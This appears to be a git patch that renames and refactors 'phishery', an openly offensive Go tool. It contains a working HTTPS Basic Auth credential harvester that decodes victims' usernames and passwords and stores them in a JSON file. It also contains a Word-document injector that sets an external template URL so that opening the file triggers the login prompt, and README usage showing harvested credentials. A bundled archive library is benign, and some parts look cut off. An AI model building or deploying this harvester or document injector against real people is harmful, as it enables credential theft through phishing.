From 85b4e6cdb909c838e63b048d6796de15f581077c Mon Sep 17 00:00:00 2001 From: Ryan Hanson Date: Sun, 25 Sep 2016 15:24:37 -0600 Subject: [PATCH] Renamed project to phishery, lots of refactoring and clean up --- README.md | 57 ++-- archivex/LICENSE | 28 ++ archivex/README.md | 71 +++++ archivex/archivex.go | 397 ++++++++++++++++++++++++++++ badocx/badocx.go | 9 +- gp/authserver.go | 171 ------------ gp/gophish.go | 24 -- gp/neatprint.go | 47 ---- gp/jsonstore.go => jstore/jstore.go | 19 +- main.go | 55 ++-- neatprint/neatprint.go | 49 ++++ phish/authinfo.go | 10 + phish/phishery.go | 148 +++++++++++ phish/settings.go | 35 +++ phish/version.go | 3 + release | 10 +- 16 files changed, 826 insertions(+), 307 deletions(-) create mode 100644 archivex/LICENSE create mode 100644 archivex/README.md create mode 100644 archivex/archivex.go delete mode 100644 gp/authserver.go delete mode 100644 gp/gophish.go delete mode 100644 gp/neatprint.go rename gp/jsonstore.go => jstore/jstore.go (73%) create mode 100644 neatprint/neatprint.go create mode 100644 phish/authinfo.go create mode 100644 phish/phishery.go create mode 100644 phish/settings.go create mode 100644 phish/version.go diff --git a/README.md b/README.md index 63676c8..2f943db 100644 --- a/README.md +++ b/README.md @@ -1,44 +1,45 @@ -# go-phish +# phishery -go-phish is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication. +phishery is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication. -The power of go-phish is best demonstrated by setting a Word document's template to a go-phish URL. This causes +The power of phishery is best demonstrated by setting a Word document's template to a phishery URL. This causes Microsoft Word to make a request to the URL, resulting in an Authentication Dialog being shown to the end-user. The -ability to inject any .docx file with a URL is possible using the go-phish's +ability to inject any .docx file with a URL is possible using the phishery's `-i [in docx]`, `-o [out docx]`, and `-u [url]` options. ### Download -Operating specific packages can be [downloaded from here](https://github.com/ryhanson/go-phish/releases). +Operating specific packages can be [downloaded from here](https://github.com/ryhanson/phishery/releases). ### Install Extract the archive, and optionally, install binary to $PATH ```bash -$ tar -xzvf go-phish*.tar.gz -$ cd go-phish* -$ cp go-phish /usr/local/bin +$ tar -xzvf phishery*.tar.gz +$ cd phishery* +$ cp phishery /usr/local/bin ``` ### Usage ```text -$ go-phish --help - __ _ __ - ____ _____ ____ / /_ (_)____/ /_ - / __ \/ __ \______/ __ \/ __ \/ / ___/ __ \ - / /_/ / /_/ /_____/ /_/ / / / / (__ ) / / / - \__, /\____/ / .___/_/ /_/_/____/_/ /_/ - /____/ /_/ An SSL Enabled Basic Auth Credential Harvester - with a Word Document Template URL Injector - - Start the server : go-phish -s settings.json -c credentials.json - Inject a template : go-phish -u https://secure.site.local/docs -i good.docx -o bad.docx +$ phishery --help + +|\ \\\\__ O __ _ __ +| \_/ o \ o ____ / /_ (_)____/ /_ ___ _______ __ +> _ (( <_ oO / __ \/ __ \/ / ___/ __ \/ _ \/ ___/ / / / +| / \__+___/ / /_/ / / / / (__ ) / / / __/ / / /_/ / +|/ |/ / .___/_/ /_/_/____/_/ /_/\___/_/ \__, / + /_/ Basic Auth Credential Harvester (____/ + with Word Doc Template Injector + + Start the server : phishery -s settings.json -c credentials.json + Inject a template : phishery -u https://secure.site.local/docs -i good.docx -o bad.docx Options: -h, --help Show usage and exit. -v Show version and exit. -s The JSON settings file used to setup the server. [default: "settings.json"] -c The JSON file to store harvested credentials. [default: "credentials.json"] - -u The go-phish URL to use as the Word document template. + -u The phishery URL to use as the Word document template. -i The Word .docx file to inject with a template URL. -o The new Word .docx file with the injected template URL. ``` @@ -84,35 +85,35 @@ The settings file may also be configured to output a simple body, by using *resp ``` The effectiveness of this tool is based mostly on the Domain and Basic Auth Realm used, as that is often all the end user -will see when triggered from an Office document. Make sure to point your DNS A Records the public IP of the go-phish server. +will see when triggered from an Office document. Make sure to point your DNS A Records the public IP of the phishery server. It's recommended that the provided cert is replaced with a trusted one, such as one generated with [LetsEncrypt](https://github.com/certbot/certbot). Microsoft Word on OS X will prevent the auth dialog if the cert is invalid. -Once the server is configured and running, all you need to do is embed a go-phish URL in a document, or anywhere -else your heart desires. go-phish does give you the ability to inject your URL into a Word document as a template, +Once the server is configured and running, all you need to do is embed a phishery URL in a document, or anywhere +else your heart desires. phishery does give you the ability to inject your URL into a Word document as a template, instructions on how to do this can be found below. ##### Injecting a Word Document -To inject a Word document with a template URL, you'll need a .docx file and the go-phish server URL. +To inject a Word document with a template URL, you'll need a .docx file and the phishery server URL. -Now run go-phish with your document and URL: +Now run phishery with your document and URL: ```text -$ go-phish -url https://secure.site.local/docs -docx good.docx -badocx bad.docx +$ phishery -url https://secure.site.local/docs -docx good.docx -badocx bad.docx [+] Opening Word document: good.docx [+] Setting Word document template to: https://secure.site.local/docs [+] Saving injected Word document to: bad.docx [*] Injected Word document has been saved! ``` -Make sure your go-phish server is running and available at the URL you used. Now when the Word document +Make sure your phishery server is running and available at the URL you used. Now when the Word document is opened, the victim will be prompted with an authentication dialog. Now when the victim opens the document, you'll see the following: ```text -$ ./go-phish +$ ./phishery [+] Credential store initialized at: credentials.json [+] Starting HTTPS Auth Server on: 0.0.0.0:443 [*] Request Received at 2016-09-25 01:06:28: HEAD https://secure.site.local/docs diff --git a/archivex/LICENSE b/archivex/LICENSE new file mode 100644 index 0000000..0004d76 --- /dev/null +++ b/archivex/LICENSE @@ -0,0 +1,28 @@ +Copyright (c) 2014, Jhonathan Paulo Banczek +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +* Neither the name of archivex nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + diff --git a/archivex/README.md b/archivex/README.md new file mode 100644 index 0000000..8f9506c --- /dev/null +++ b/archivex/README.md @@ -0,0 +1,71 @@ +archivex +======== + +archivex is a golang package that archives folders (recursively) and files to zip and tar formats. + +[![Build Status](https://travis-ci.org/jhoonb/archivex.svg)](https://travis-ci.org/jhoonb/archivex) +[![](http://gocover.io/_badge/github.com/jhoonb/archivex)](http://gocover.io/github.com/jhoonb/archivex) + +Installation +------------- + +``` bash +$ go get github.com/jhoonb/archivex +``` + + +Example +------------- + +```go + +package main + +import ( + "github.com/jhoonb/archivex" +) + +// Example using only func zip +func zip() { + zip := new(archivex.ZipFile) + zip.Create("filezip") + zip.Add("testadd.txt", []byte("test 1")) + zip.AddFile("") + zip.AddAll("") + tar.AddAll("") + arch.AddAll("= blockSize { + zippedFile.Write(bytes) + continue + } + + zippedFile.Write(bytes[:readedBytes]) + } + + return nil +} + +// AddAll adds all files from dir in archive, recursively. +// Directories receive a zero-size entry in the archive, with a trailing slash in the header name, and no compression +func (z *ZipFile) AddAll(dir string, includeCurrentFolder bool) error { + dir = path.Clean(dir) + return addAll(dir, dir, includeCurrentFolder, func(info os.FileInfo, file io.Reader, entryName string) (err error) { + + // Create a header based off of the fileinfo + header, err := zip.FileInfoHeader(info) + if err != nil { + return err + } + + // If it's a file, set the compression method to deflate (leave directories uncompressed) + if !info.IsDir() { + header.Method = zip.Deflate + } + + // Set the header's name to what we want--it may not include the top folder + header.Name = entryName + + // Add a trailing slash if the entry is a directory + if info.IsDir() { + header.Name += "/" + } + + // Get a writer in the archive based on our header + writer, err := z.Writer.CreateHeader(header) + if err != nil { + return err + } + + // If we have a file to write (i.e., not a directory) then pipe the file into the archive writer + if file != nil { + if _, err := io.Copy(writer, file); err != nil { + return err + } + } + + return nil + }) +} + +func (z *ZipFile) Close() error { + return z.Writer.Close() +} + +// Create new Tar file +func (t *TarFile) Create(name string) error { + // check the filename extension + + // if it has a .gz, we'll compress it. + if strings.HasSuffix(name, ".tar.gz") { + t.Compressed = true + } else { + t.Compressed = false + } + + // check to see if they have the wrong extension + if strings.HasSuffix(name, ".tar.gz") != true && strings.HasSuffix(name, ".tar") != true { + // is it .zip? replace it + if strings.HasSuffix(name, ".zip") == true { + name = strings.Replace(name, ".zip", ".tar.gz", -1) + t.Compressed = true + } else { + // if it's not, add .tar + // since we'll assume it's not compressed + name = name + ".tar" + } + } + + t.Name = name + file, err := os.Create(t.Name) + if err != nil { + return err + } + + if t.Compressed { + t.GzWriter = gzip.NewWriter(file) + t.Writer = tar.NewWriter(t.GzWriter) + } else { + t.Writer = tar.NewWriter(file) + } + + return nil +} + +// Add add byte in archive tar +func (t *TarFile) Add(name string, file []byte) error { + + hdr := &tar.Header{ + Name: name, + Size: int64(len(file)), + Mode: 0666, + ModTime: time.Now(), + } + if err := t.Writer.WriteHeader(hdr); err != nil { + return err + } + _, err := t.Writer.Write(file) + return err +} + +// Add add byte in archive tar +func (t *TarFile) AddWithHeader(name string, file []byte, hdr *tar.Header) error { + + if err := t.Writer.WriteHeader(hdr); err != nil { + return err + } + _, err := t.Writer.Write(file) + return err +} + +// AddFile add file from dir in archive tar +func (t *TarFile) AddFile(name string) error { + bytearq, err := ioutil.ReadFile(name) + if err != nil { + return err + } + + info, err := os.Stat(name) + if err != nil { + return err + } + + header, err := tar.FileInfoHeader(info, "") + if err != nil { + return err + } + + err = t.Writer.WriteHeader(header) + if err != nil { + return err + } + _, err = t.Writer.Write(bytearq) + if err != nil { + return err + } + return nil +} + +// AddFile add file from dir in archive tar +func (t *TarFile) AddFileWithName(name string, filename string) error { + bytearq, err := ioutil.ReadFile(name) + if err != nil { + return err + } + + info, err := os.Stat(name) + if err != nil { + return err + } + + header, err := tar.FileInfoHeader(info, "") + if err != nil { + return err + } + header.Name = filename + + err = t.Writer.WriteHeader(header) + if err != nil { + return err + } + _, err = t.Writer.Write(bytearq) + if err != nil { + return err + } + return nil +} + +// AddAll adds all files from dir in archive +// Tar does not support directories +func (t *TarFile) AddAll(dir string, includeCurrentFolder bool) error { + dir = path.Clean(dir) + return addAll(dir, dir, includeCurrentFolder, func(info os.FileInfo, file io.Reader, entryName string) (err error) { + + // Skip directory entries + if file == nil { + return nil + } + + // Create a header based off of the fileinfo + header, err := tar.FileInfoHeader(info, "") + if err != nil { + return err + } + + // Set the header's name to what we want--it may not include the top folder + header.Name = entryName + + // Write the header into the tar file + if err := t.Writer.WriteHeader(header); err != nil { + return err + } + + // Pipe the file into the tar + if _, err := io.Copy(t.Writer, file); err != nil { + return err + } + + return nil + }) +} + +// Close the file Tar +func (t *TarFile) Close() error { + err := t.Writer.Close() + if err != nil { + return err + } + + if t.Compressed { + err = t.GzWriter.Close() + if err != nil { + return err + } + } + + return err +} + +func getSubDir(dir string, rootDir string, includeCurrentFolder bool) (subDir string) { + + subDir = strings.Replace(dir, rootDir, "", 1) + // Remove leading slashes, since this is intentionally a subdirectory. + if len(subDir) > 0 && subDir[0] == os.PathSeparator { + subDir = subDir[1:] + } + subDir = path.Join(strings.Split(subDir, string(os.PathSeparator))...) + + if includeCurrentFolder { + parts := strings.Split(rootDir, string(os.PathSeparator)) + subDir = path.Join(parts[len(parts)-1], subDir) + } + + return +} + +// addAll is used to recursively go down through directories and add each file and directory to an archive, based on an ArchiveWriteFunc given to it +func addAll(dir string, rootDir string, includeCurrentFolder bool, writerFunc ArchiveWriteFunc) error { + + // Get a list of all entries in the directory, as []os.FileInfo + fileInfos, err := ioutil.ReadDir(dir) + if err != nil { + return err + } + + // Loop through all entries + for _, info := range fileInfos { + + full := filepath.Join(dir, info.Name()) + + // If the entry is a file, get an io.Reader for it + var file *os.File + var reader io.Reader + if !info.IsDir() { + file, err = os.Open(full) + if err != nil { + return err + } + reader = file + } + + // Write the entry into the archive + subDir := getSubDir(dir, rootDir, includeCurrentFolder) + entryName := path.Join(subDir, info.Name()) + if err := writerFunc(info, reader, entryName); err != nil { + if file != nil { + file.Close() + } + return err + } + + if file != nil { + if err := file.Close(); err != nil { + return err + } + + } + + // If the entry is a directory, recurse into it + if info.IsDir() { + addAll(full, rootDir, includeCurrentFolder, writerFunc) + } + } + + return nil +} diff --git a/badocx/badocx.go b/badocx/badocx.go index 9d817fc..43875ee 100644 --- a/badocx/badocx.go +++ b/badocx/badocx.go @@ -6,7 +6,7 @@ import ( "io/ioutil" "strings" - "github.com/ryhanson/archivex" + "github.com/ryhanson/phishery/archivex" ) type Docx struct { @@ -61,6 +61,7 @@ func (d *Docx) SetTemplate(url string) error { } else { // TODO: Check if template already exists and update d.newFiles[relsPath] = settingsRels + return errors.New("Word document might already have a template URL") } settingsBytes, err := d.retrieveFileContents(settingsPath) @@ -100,11 +101,11 @@ func (d *Docx) retrieveFileContents(filename string) ([]byte, error) { func newSettingsRels(url string) []byte { newRels := ` - + - ` + TargetMode="External"/> + ` return []byte(newRels) } \ No newline at end of file diff --git a/gp/authserver.go b/gp/authserver.go deleted file mode 100644 index 09df5d8..0000000 --- a/gp/authserver.go +++ /dev/null @@ -1,171 +0,0 @@ -package gp - -import ( - "net/http" - "strings" - "encoding/base64" - "log" - "errors" - "io/ioutil" - "os" - "encoding/json" - "fmt" - "time" -) - -type AuthServer struct { - credStore *JsonStore - settings Settings -} - -var np = NeatPrint{} - -func loadSettings(jsonFile string) Settings { - file, _ := os.Open(jsonFile) - decoder := json.NewDecoder(file) - settings := Settings{} - - if err := decoder.Decode(&settings); err != nil { - np.Error("Error loading settings files") - log.Fatal("Server Error: ", err) - os.Exit(1) - } - - return settings -} - -func newStore(jsonfile string) (*JsonStore, error) { - store := JsonStore{ - filename: jsonfile, - } - - if _, err := os.Stat(store.filename); err == nil { - return &store, nil - } - - _, err := os.Create(store.filename) - return &store, err -} - -func StartNewServer(settingsFile string, credsFile string) { - settings := loadSettings(settingsFile) - credStore, err := newStore(credsFile) - if err != nil { - np.Error("Error initiliazing credential store: " + err.Error()) - } - np.Event("Credential store initialized at: " + credsFile) - - listenOn := settings.IP + ":" + settings.Port - srv := AuthServer{ - credStore: credStore, - settings: settings, - } - - np.Event("Starting HTTPS Auth Server on: " + listenOn) - - http.HandleFunc("/", srv.handler) - httpErr := http.ListenAndServeTLS(listenOn, settings.SSLCert, settings.SSLKey, nil) - if httpErr != nil { - log.Fatal("Server Error: ", httpErr) - } -} - -func (srv *AuthServer) process(req *http.Request) (AuthInfo, error) { - authInfo := AuthInfo{} - auth := strings.SplitN(req.Header.Get("Authorization"), " ", 2) - - b64, err := base64.StdEncoding.DecodeString(auth[1]) - if err != nil { - return authInfo, errors.New("Error Decoding Authorization Header") - } - - creds := strings.SplitN(string(b64), ":", 2) - if len(creds) != 2 && (creds[0] == "" || creds[1] == "") { - return authInfo, errors.New("Missing Authorization Credentials") - } - - authInfo = AuthInfo { - Host: stripPort(req.Host), - Request: req.RequestURI, - UserAgent: req.UserAgent(), - IPAddress: stripPort(req.RemoteAddr), - Username: creds[0], - Password: creds[1], - } - - return authInfo, nil -} - -func (srv *AuthServer) handler(resp http.ResponseWriter, req *http.Request) { - if (len(strings.SplitN(req.Header.Get("Authorization"), " ", 2)) == 2) { - authInfo, err := srv.process(req); - if err != nil { - np.Error(err.Error()) - } else { - created, err := srv.credStore.AddObject(authInfo); - if err != nil { - np.Error("Error writing credentials: " + err.Error()) - } - - if created { - np.Info("New credentials harvested!") - srv.printAuth(authInfo) - } else { - np.Info("Duplicate credentials received for: " + authInfo.Username) - } - - srv.writeResponse(resp) - return - } - } - - stamp := time.Now().Local().Format("2006-01-02 15:04:05") - reqInfo := fmt.Sprintf("Request Received at %s: %s https://%s%s", - stamp , req.Method, stripPort(req.Host), req.RequestURI) - np.Info(reqInfo) - np.Info("Sending Basic Auth response to: " + stripPort(req.RemoteAddr)) - resp.Header().Set("WWW-Authenticate", `Basic realm="` + srv.settings.BasicRealm + `"`) - resp.WriteHeader(401) - resp.Write([]byte("401 Unauthorized\n")) -} - -func (srv *AuthServer) writeResponse(resp http.ResponseWriter) { - if len(srv.settings.ResponseHeaders) > 0 { - for _, head := range srv.settings.ResponseHeaders { - resp.Header().Set(head[0], head[1]) - } - } - - resp.WriteHeader(srv.settings.ResponseStatus) - if srv.settings.ResponseBody != "" { - resp.Write([]byte(srv.settings.ResponseBody + "\n")) - return - } - - if srv.settings.ResponseFile != "" { - file, _ := ioutil.ReadFile(srv.settings.ResponseFile) - resp.Write(file) - return - } - - resp.Write([]byte("404 Not Found\n")) - return -} - -func stripPort(ip string) string { - colon := strings.Index(ip, ":") - if colon > 0 { - return ip[:colon] - } - - return ip -} - -func (srv *AuthServer) printAuth(auth AuthInfo) { - np.Data("[HTTP]", "Host", auth.Host) - np.Data("[HTTP]", "Request", auth.Request) - np.Data("[HTTP]", "User Agent", auth.UserAgent) - np.Data("[HTTP]", "IP Address", auth.IPAddress) - np.Data("[AUTH]", "Username", auth.Username) - np.Data("[AUTH]", "Password", auth.Password) -} \ No newline at end of file diff --git a/gp/gophish.go b/gp/gophish.go deleted file mode 100644 index 2334a12..0000000 --- a/gp/gophish.go +++ /dev/null @@ -1,24 +0,0 @@ -package gp - -const VERSION = "1.0.1" - -type AuthInfo struct { - Host string `json:"host"` - Request string `json:"request"` - IPAddress string `json:"ipAddress"` - UserAgent string `json:"userAgent"` - Username string `json:"username"` - Password string `json:"password"` -} - -type Settings struct { - IP string - Port string - SSLKey string - SSLCert string - BasicRealm string - ResponseFile string - ResponseBody string - ResponseStatus int - ResponseHeaders [][]string -} \ No newline at end of file diff --git a/gp/neatprint.go b/gp/neatprint.go deleted file mode 100644 index 724808a..0000000 --- a/gp/neatprint.go +++ /dev/null @@ -1,47 +0,0 @@ -package gp - -import ( - "fmt" - "github.com/fatih/color" - "runtime" -) - -type NeatPrint struct {} - -func (np *NeatPrint) Info(info string) { - if runtime.GOOS == "windows" { - fmt.Printf("[*] %s\n", info) - } else { - yellow := color.New(color.FgHiYellow).SprintFunc() - fmt.Printf("%s %s\n", yellow("[*]"), info) - } - -} - -func (np *NeatPrint) Event(event string) { - if runtime.GOOS == "windows" { - fmt.Printf("[+] %s\n", event) - } else { - green := color.New(color.FgHiGreen).SprintFunc() - fmt.Printf("%s %s\n", green("[+]"), event) - } -} - -func (np *NeatPrint) Data(pre string, label string, value string) { - if runtime.GOOS == "windows" { - fmt.Printf("%s %-11s : %s\n", pre, label, value) - } else { - cyan := color.New(color.FgCyan).SprintFunc() - blue := color.New(color.FgBlue).SprintFunc() - fmt.Printf("%s %-11s : %s\n", blue(pre), label, cyan(value)) - } -} - -func (np *NeatPrint) Error(error string) { - if runtime.GOOS == "windows" { - fmt.Printf("[!] %s\n", error) - } else { - red := color.New(color.FgHiRed).SprintFunc() - fmt.Printf("%s %s\n", red("[!]"), error) - } -} \ No newline at end of file diff --git a/gp/jsonstore.go b/jstore/jstore.go similarity index 73% rename from gp/jsonstore.go rename to jstore/jstore.go index d7c1c23..831db0a 100644 --- a/gp/jsonstore.go +++ b/jstore/jstore.go @@ -1,4 +1,4 @@ -package gp +package jstore import ( "os" @@ -12,12 +12,25 @@ type JsonStore struct { filename string; } +func NewStore(jsonfile string) (*JsonStore, error) { + store := JsonStore{ + filename: jsonfile, + } + + if _, err := os.Stat(store.filename); err == nil { + return &store, nil + } + + _, err := os.Create(store.filename) + return &store, err +} + func (store *JsonStore) AddObject(obj interface{}) (bool, error) { objs := make(map[string]interface{}) authJson, _ := json.Marshal(obj) authSum := getMD5(string(authJson)) - objs, err := store.loadStore() + objs, err := store.LoadStore() if err != nil { return false, err } @@ -35,7 +48,7 @@ func (store *JsonStore) AddObject(obj interface{}) (bool, error) { return true, ioutil.WriteFile(store.filename, out, 0755) } -func (store *JsonStore) loadStore() (map[string]interface{}, error) { +func (store *JsonStore) LoadStore() (map[string]interface{}, error) { objs := make(map[string]interface{}) file, err := os.Open(store.filename) diff --git a/main.go b/main.go index 482f674..2c9baf8 100644 --- a/main.go +++ b/main.go @@ -7,33 +7,34 @@ import ( "flag" "fmt" - "github.com/ryhanson/go-phish/gp" - "github.com/ryhanson/go-phish/badocx" + "github.com/ryhanson/phishery/badocx" + "github.com/ryhanson/phishery/phish" + "github.com/ryhanson/phishery/neatprint" ) const usage = -` __ _ __ - ____ _____ ____ / /_ (_)____/ /_ - / __ \/ __ \______/ __ \/ __ \/ / ___/ __ \ - / /_/ / /_/ /_____/ /_/ / / / / (__ ) / / / - \__, /\____/ / .___/_/ /_/_/____/_/ /_/ - /____/ /_/ An SSL Enabled Basic Auth Credential Harvester - with a Word Document Template URL Injector +`|\ \\\\__ O __ _ __ +| \_/ o \ o ____ / /_ (_)____/ /_ ___ _______ __ +> _ (( <_ oO / __ \/ __ \/ / ___/ __ \/ _ \/ ___/ / / / +| / \__+___/ / /_/ / / / / (__ ) / / / __/ / / /_/ / +|/ |/ / .___/_/ /_/_/____/_/ /_/\___/_/ \__, / + /_/ Basic Auth Credential Harvester (____/ + with Word Doc Template Injector - Start the server : go-phish -s settings.json -c credentials.json - Inject a template : go-phish -u https://secure.site.local/docs -i good.docx -o bad.docx + Start the server : phishery -s settings.json -c credentials.json + Inject a template : phishery -u https://secure.site.local/docs -i good.docx -o bad.docx Options: -h, --help Show usage and exit. -v Show version and exit. -s The JSON settings file used to setup the server. [default: "settings.json"] -c The JSON file to store harvested credentials. [default: "credentials.json"] - -u The go-phish URL to use as the Word document template. + -u The phishery URL to use as the Word document template. -i The Word .docx file to inject with a template URL. -o The new Word .docx file with the injected template URL. ` -var np = gp.NeatPrint{} +var neat = neatprint.NewNeatPrint() func main() { var ( @@ -48,7 +49,7 @@ func main() { flag.Parse() if *flVersion { - np.Info("go-phish version: " + gp.VERSION) + neat.Info("phishery version: " + phish.VERSION) os.Exit(0) } @@ -61,41 +62,45 @@ func main() { go func(){ <-c fmt.Println() - np.Event("Stopping auth server...") + neat.Event("Stopping auth server...") os.Exit(1) }() - gp.StartNewServer(*flSettings, *flCredentials) + err := phish.StartPhishery(*flSettings, *flCredentials) + if err != nil { + neat.Error("Error starting Phishery server: %s", err) + os.Exit(1) + } } func createBadocx(url string, in string, out string) { if url == "" || in == "" || out == "" { - np.Error("Word .docx files and URL are required!") - np.Info("Usage: go-phish -u https://secure.site.local/docs -i good.docx -o bad.docx") + neat.Error("Word .docx files and URL are required!") + neat.Info("Usage: phishery -u https://secure.site.local/docs -i good.docx -o bad.docx") os.Exit(0) } - np.Event("Opening Word document: " + in) + neat.Event("Opening Word document: %s", in) wordDocx, err := badocx.OpenDocx(in) if err != nil { - np.Error("Error opening word document: " + err.Error()) + neat.Error("Error opening word document: %s", err.Error()) os.Exit(1) } - np.Event("Setting Word document template to: " + url) + neat.Event("Setting Word document template to: %s", url) wordDocx.SetTemplate(url) - np.Event("Saving injected Word document to: " + out) + neat.Event("Saving injected Word document to: %s", out) if err := wordDocx.WriteBadocx(out); err != nil { - np.Error("Error injecting Word doc: " + err.Error()) + neat.Error("Error injecting Word doc: %s", err) os.Exit(1) } if err := wordDocx.Close(); err != nil { - np.Error("Error closing injected Word doc: " + err.Error()) + neat.Error("Error closing injected Word doc: %s", err) os.Exit(1) } - np.Info("Injected Word document has been saved!") + neat.Info("Injected Word document has been saved!") os.Exit(0) } \ No newline at end of file diff --git a/neatprint/neatprint.go b/neatprint/neatprint.go new file mode 100644 index 0000000..9b32f1e --- /dev/null +++ b/neatprint/neatprint.go @@ -0,0 +1,49 @@ +package neatprint + +import ( + "fmt" + "runtime" + + "github.com/fatih/color" +) + +type NeatPrint struct { + yellow func(string, ...interface{}) string + green func(string, ...interface{}) string + cyan func(string, ...interface{}) string + blue func(string, ...interface{}) string + red func(string, ...interface{}) string +} + +func NewNeatPrint() NeatPrint { + if runtime.GOOS == "windows" { + color.NoColor = true + } + + return NeatPrint{ + yellow: color.New(color.FgHiYellow).SprintfFunc(), + green: color.New(color.FgHiGreen).SprintfFunc(), + cyan: color.New(color.FgHiCyan).SprintfFunc(), + blue: color.New(color.FgHiBlue).SprintfFunc(), + red: color.New(color.FgHiRed).SprintfFunc(), + } +} + +func (np *NeatPrint) Data(pre string, label string, value string) { + fmt.Printf("%s %-11s: %s\n", np.blue("[%s]", pre), label, np.cyan(value)) +} + +func (np *NeatPrint) Info(format string, info ...interface{}) { + format = fmt.Sprintf(np.yellow("[*]") + " %s\n", format) + fmt.Printf(format, info...) +} + +func (np *NeatPrint) Event(format string, event ...interface{}) { + format = fmt.Sprintf(np.green("[+]") + " %s\n", format) + fmt.Printf(format, event...) +} + +func (np *NeatPrint) Error(format string, err ...interface{}) { + format = fmt.Sprintf(np.red("[!]") + " %s\n", format) + fmt.Printf(format, err...) +} \ No newline at end of file diff --git a/phish/authinfo.go b/phish/authinfo.go new file mode 100644 index 0000000..d5f09e5 --- /dev/null +++ b/phish/authinfo.go @@ -0,0 +1,10 @@ +package phish + +type AuthInfo struct { + Host string `json:"host"` + Request string `json:"request"` + IPAddress string `json:"ipAddress"` + UserAgent string `json:"userAgent"` + Username string `json:"username"` + Password string `json:"password"` +} \ No newline at end of file diff --git a/phish/phishery.go b/phish/phishery.go new file mode 100644 index 0000000..20e650b --- /dev/null +++ b/phish/phishery.go @@ -0,0 +1,148 @@ +package phish + +import ( + "net/http" + "strings" + "encoding/base64" + "errors" + "io/ioutil" + "fmt" + "time" + + "github.com/ryhanson/phishery/neatprint" + "github.com/ryhanson/phishery/jstore" +) + +type Phishery struct { + credStore *jstore.JsonStore + settings Settings +} + +var neat = neatprint.NewNeatPrint() + +func StartPhishery(settingsFile string, credsFile string) error { + settings := loadSettings(settingsFile) + credStore, err := jstore.NewStore(credsFile) + if err != nil { + return errors.New("Error initiliazing credential store: " + err.Error()) + } + neat.Event("Credential store initialized at: %s", credsFile) + + listenOn := settings.IP + ":" + settings.Port + srv := Phishery{ + credStore: credStore, + settings: settings, + } + + neat.Event("Starting HTTPS Auth Server on: %s", listenOn) + http.HandleFunc("/", srv.handler) + + return http.ListenAndServeTLS(listenOn, settings.SSLCert, settings.SSLKey, nil) +} + +func (srv *Phishery) processAuth(auth string) (AuthInfo, error) { + authInfo := AuthInfo{} + + b64, err := base64.StdEncoding.DecodeString(auth) + if err != nil { + return authInfo, errors.New("Error Decoding Authorization Header") + } + + creds := strings.SplitN(string(b64), ":", 2) + if len(creds) != 2 && (creds[0] == "" || creds[1] == "") { + return authInfo, errors.New("Missing Authorization Credentials") + } + + authInfo = AuthInfo { + Username: creds[0], + Password: creds[1], + } + + return authInfo, nil +} + +func (srv *Phishery) handler(resp http.ResponseWriter, req *http.Request) { + printReq(req) + + auth := strings.SplitN(req.Header.Get("Authorization"), " ", 2) + if (len(auth) == 2) { + authInfo, err := srv.processAuth(auth[1]); + if err != nil { + neat.Error(err.Error()) + return + } + + authInfo.Host = stripPort(req.Host); + authInfo.Request = req.Method + " " + req.RequestURI + authInfo.UserAgent = req.UserAgent(); + authInfo.IPAddress = stripPort(req.RemoteAddr); + + created, err := srv.credStore.AddObject(authInfo); + if err != nil { + neat.Error("Error writing credentials: %s", err) + } + + if created { + neat.Info("New credentials harvested!") + printAuth(authInfo) + } else { + neat.Info("Duplicate credentials received for: %s", authInfo.Username) + } + + srv.writeResponse(resp) + return + } + neat.Info("Sending Basic Auth response to: %s", stripPort(req.RemoteAddr)) + + resp.Header().Set("WWW-Authenticate", `Basic realm="` + srv.settings.BasicRealm + `"`) + resp.WriteHeader(401) + resp.Write([]byte("401 Unauthorized\n")) +} + +func (srv *Phishery) writeResponse(resp http.ResponseWriter) { + if len(srv.settings.ResponseHeaders) > 0 { + for _, head := range srv.settings.ResponseHeaders { + resp.Header().Set(head[0], head[1]) + } + } + + resp.WriteHeader(srv.settings.ResponseStatus) + if srv.settings.ResponseBody != "" { + resp.Write([]byte(srv.settings.ResponseBody + "\n")) + return + } + + if srv.settings.ResponseFile != "" { + file, _ := ioutil.ReadFile(srv.settings.ResponseFile) + resp.Write(file) + return + } + + resp.Write([]byte("404 Not Found\n")) + return +} + +func stripPort(ip string) string { + colon := strings.Index(ip, ":") + if colon > 0 { + return ip[:colon] + } + + return ip +} + +func printReq(req *http.Request) { + stamp := time.Now().Local().Format("2006-01-02 15:04:05") + reqFmt := "Request Received at %s: %s https://%s%s" + reqInfo := fmt.Sprintf(reqFmt, stamp, req.Method, stripPort(req.Host), req.RequestURI) + neat.Info(reqInfo) +} + +func printAuth(auth AuthInfo) { + neat.Data("HTTP", "Host", auth.Host) + neat.Data("HTTP", "Request", auth.Request) + neat.Data("HTTP", "User Agent", auth.UserAgent) + neat.Data("HTTP", "IP Address", auth.IPAddress) + neat.Data("AUTH", "Username", auth.Username) + neat.Data("AUTH", "Password", auth.Password) +} \ No newline at end of file diff --git a/phish/settings.go b/phish/settings.go new file mode 100644 index 0000000..5b48646 --- /dev/null +++ b/phish/settings.go @@ -0,0 +1,35 @@ +package 